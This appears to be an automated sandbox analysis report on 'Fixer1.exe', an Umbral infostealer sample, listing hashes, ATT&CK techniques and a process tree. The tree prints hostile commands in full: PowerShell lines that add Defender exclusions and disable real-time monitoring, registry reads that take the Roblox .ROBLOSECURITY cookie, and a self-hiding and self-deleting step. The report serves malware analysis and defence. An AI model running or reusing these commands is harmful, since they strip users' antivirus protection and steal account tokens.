umbral | fff5e75a847e42b873cc8af76960e9ef47ff8e2f23055c52af4f304541440cec

Analysis

max time kernel
34s
max time network
35s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
10-07-2024 11:21

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General

Target

Fixer1.exe
Size

229KB
MD5

c983a88386a45445f30fefba68596cb0
SHA1

98448dca5a7d9d893148f361401260f600c082de
SHA256

fff5e75a847e42b873cc8af76960e9ef47ff8e2f23055c52af4f304541440cec
SHA512

d76a25f7f037aaf4e4a820836434d080d7fa7188afbbb7810c724ab8a4da13b88ac407c85d04b59074d6ab0f448879dfcc13d1e14f807fcb8ec16320da0a8ef9
SSDEEP

6144:9loZM+rIkd8g+EtXHkv/iD4I/DAecjfUH1gevPeNtb8e1moBi:foZtL+EP8I/DAecjfUH1gevPenxY

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1780-0-0x000001EF6C750000-0x000001EF6C790000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4544	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Fixer1.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
22	discord.com
23	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2624	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3468	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1780	Fixer1.exe
4544	powershell.exe
4544	powershell.exe
220	powershell.exe
220	powershell.exe
1072	powershell.exe
1072	powershell.exe
1356	powershell.exe
1356	powershell.exe
4472	powershell.exe
4472	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1780	Fixer1.exe
Token: SeIncreaseQuotaPrivilege	4556	wmic.exe
Token: SeSecurityPrivilege	4556	wmic.exe
Token: SeTakeOwnershipPrivilege	4556	wmic.exe
Token: SeLoadDriverPrivilege	4556	wmic.exe
Token: SeSystemProfilePrivilege	4556	wmic.exe
Token: SeSystemtimePrivilege	4556	wmic.exe
Token: SeProfSingleProcessPrivilege	4556	wmic.exe
Token: SeIncBasePriorityPrivilege	4556	wmic.exe
Token: SeCreatePagefilePrivilege	4556	wmic.exe
Token: SeBackupPrivilege	4556	wmic.exe
Token: SeRestorePrivilege	4556	wmic.exe
Token: SeShutdownPrivilege	4556	wmic.exe
Token: SeDebugPrivilege	4556	wmic.exe
Token: SeSystemEnvironmentPrivilege	4556	wmic.exe
Token: SeRemoteShutdownPrivilege	4556	wmic.exe
Token: SeUndockPrivilege	4556	wmic.exe
Token: SeManageVolumePrivilege	4556	wmic.exe
Token: 33	4556	wmic.exe
Token: 34	4556	wmic.exe
Token: 35	4556	wmic.exe
Token: 36	4556	wmic.exe
Token: SeIncreaseQuotaPrivilege	4556	wmic.exe
Token: SeSecurityPrivilege	4556	wmic.exe
Token: SeTakeOwnershipPrivilege	4556	wmic.exe
Token: SeLoadDriverPrivilege	4556	wmic.exe
Token: SeSystemProfilePrivilege	4556	wmic.exe
Token: SeSystemtimePrivilege	4556	wmic.exe
Token: SeProfSingleProcessPrivilege	4556	wmic.exe
Token: SeIncBasePriorityPrivilege	4556	wmic.exe
Token: SeCreatePagefilePrivilege	4556	wmic.exe
Token: SeBackupPrivilege	4556	wmic.exe
Token: SeRestorePrivilege	4556	wmic.exe
Token: SeShutdownPrivilege	4556	wmic.exe
Token: SeDebugPrivilege	4556	wmic.exe
Token: SeSystemEnvironmentPrivilege	4556	wmic.exe
Token: SeRemoteShutdownPrivilege	4556	wmic.exe
Token: SeUndockPrivilege	4556	wmic.exe
Token: SeManageVolumePrivilege	4556	wmic.exe
Token: 33	4556	wmic.exe
Token: 34	4556	wmic.exe
Token: 35	4556	wmic.exe
Token: 36	4556	wmic.exe
Token: SeDebugPrivilege	4544	powershell.exe
Token: SeDebugPrivilege	220	powershell.exe
Token: SeDebugPrivilege	1072	powershell.exe
Token: SeDebugPrivilege	1356	powershell.exe
Token: SeIncreaseQuotaPrivilege	1644	wmic.exe
Token: SeSecurityPrivilege	1644	wmic.exe
Token: SeTakeOwnershipPrivilege	1644	wmic.exe
Token: SeLoadDriverPrivilege	1644	wmic.exe
Token: SeSystemProfilePrivilege	1644	wmic.exe
Token: SeSystemtimePrivilege	1644	wmic.exe
Token: SeProfSingleProcessPrivilege	1644	wmic.exe
Token: SeIncBasePriorityPrivilege	1644	wmic.exe
Token: SeCreatePagefilePrivilege	1644	wmic.exe
Token: SeBackupPrivilege	1644	wmic.exe
Token: SeRestorePrivilege	1644	wmic.exe
Token: SeShutdownPrivilege	1644	wmic.exe
Token: SeDebugPrivilege	1644	wmic.exe
Token: SeSystemEnvironmentPrivilege	1644	wmic.exe
Token: SeRemoteShutdownPrivilege	1644	wmic.exe
Token: SeUndockPrivilege	1644	wmic.exe
Token: SeManageVolumePrivilege	1644	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 1780 wrote to memory of 4556	1780	Fixer1.exe	85
PID 1780 wrote to memory of 4556	1780	Fixer1.exe	85
PID 1780 wrote to memory of 116	1780	Fixer1.exe	90
PID 1780 wrote to memory of 116	1780	Fixer1.exe	90
PID 1780 wrote to memory of 4544	1780	Fixer1.exe	92
PID 1780 wrote to memory of 4544	1780	Fixer1.exe	92
PID 1780 wrote to memory of 220	1780	Fixer1.exe	94
PID 1780 wrote to memory of 220	1780	Fixer1.exe	94
PID 1780 wrote to memory of 1072	1780	Fixer1.exe	96
PID 1780 wrote to memory of 1072	1780	Fixer1.exe	96
PID 1780 wrote to memory of 1356	1780	Fixer1.exe	98
PID 1780 wrote to memory of 1356	1780	Fixer1.exe	98
PID 1780 wrote to memory of 1644	1780	Fixer1.exe	100
PID 1780 wrote to memory of 1644	1780	Fixer1.exe	100
PID 1780 wrote to memory of 3764	1780	Fixer1.exe	102
PID 1780 wrote to memory of 3764	1780	Fixer1.exe	102
PID 1780 wrote to memory of 4856	1780	Fixer1.exe	104
PID 1780 wrote to memory of 4856	1780	Fixer1.exe	104
PID 1780 wrote to memory of 4472	1780	Fixer1.exe	106
PID 1780 wrote to memory of 4472	1780	Fixer1.exe	106
PID 1780 wrote to memory of 2624	1780	Fixer1.exe	108
PID 1780 wrote to memory of 2624	1780	Fixer1.exe	108
PID 1780 wrote to memory of 4032	1780	Fixer1.exe	110
PID 1780 wrote to memory of 4032	1780	Fixer1.exe	110
PID 4032 wrote to memory of 3468	4032	cmd.exe	112
PID 4032 wrote to memory of 3468	4032	cmd.exe	112

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
116	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Fixer1.exe
"C:\Users\Admin\AppData\Local\Temp\Fixer1.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1780
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4556
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Fixer1.exe"
  2⤵
  - Views/modifies file attributes
  PID:116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Fixer1.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1072
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1356
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1644
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:3764
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4472
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2624
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Fixer1.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4032
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:3468

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
28ef595a6cc9f47b8eccb22d4ed50d6c

SHA1
4335de707324b15eba79017938c3da2752d3eea5

SHA256
3abd14d4fe7b5697b2fa84993e7183f4fd2580be5b4e5150da15ddda5a9560b9

SHA512
687b7849faa62a4dabc240b573afa163f0cda9a80be61cebe28ef1461777744d73b465ac92d065093228068540846e79c899445057f5b906f9b9fa9868132208

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
288f76eb6350b99897bf8a40a26d7b88

SHA1
7f386d05202de2cf090bbda84d633a640730e090

SHA256
1b9a2714ecfaf4b2e7d7961d5f2537ea360ad0df46a0fa789255235b077075d1

SHA512
ffafc9d47140408afba98a9832433c0829ba696524c56d03f4ce67ae84d369c658d3a0b3cbfc62f8e5d83fc91f8f73fc1dd9a27f0deaefd1d07485a63face869

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fx2dphcy.tup.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1780-33-0x000001EF6EDA0000-0x000001EF6EDBE000-memory.dmp

Filesize
120KB

Download
memory/1780-69-0x000001EF6E3F0000-0x000001EF6E3FA000-memory.dmp

Filesize
40KB

Download
memory/1780-88-0x00007FF94FCB0000-0x00007FF950771000-memory.dmp

Filesize
10.8MB

Download
memory/1780-1-0x00007FF94FCB3000-0x00007FF94FCB5000-memory.dmp

Filesize
8KB

Download
memory/1780-70-0x000001EF6EED0000-0x000001EF6EEE2000-memory.dmp

Filesize
72KB

Download
memory/1780-31-0x000001EF6EF50000-0x000001EF6EFC6000-memory.dmp

Filesize
472KB

Download
memory/1780-32-0x000001EF6ED50000-0x000001EF6EDA0000-memory.dmp

Filesize
320KB

Download
memory/1780-0-0x000001EF6C750000-0x000001EF6C790000-memory.dmp

Filesize
256KB

Download
memory/1780-2-0x00007FF94FCB0000-0x00007FF950771000-memory.dmp

Filesize
10.8MB

Download
memory/4544-3-0x000001BA6E2E0000-0x000001BA6E302000-memory.dmp

Filesize
136KB

Download
memory/4544-14-0x00007FF94FCB0000-0x00007FF950771000-memory.dmp

Filesize
10.8MB

Download
memory/4544-13-0x00007FF94FCB0000-0x00007FF950771000-memory.dmp

Filesize
10.8MB

Download
memory/4544-17-0x00007FF94FCB0000-0x00007FF950771000-memory.dmp

Filesize
10.8MB

Download
memory/4544-15-0x00007FF94FCB0000-0x00007FF950771000-memory.dmp

Filesize
10.8MB

Download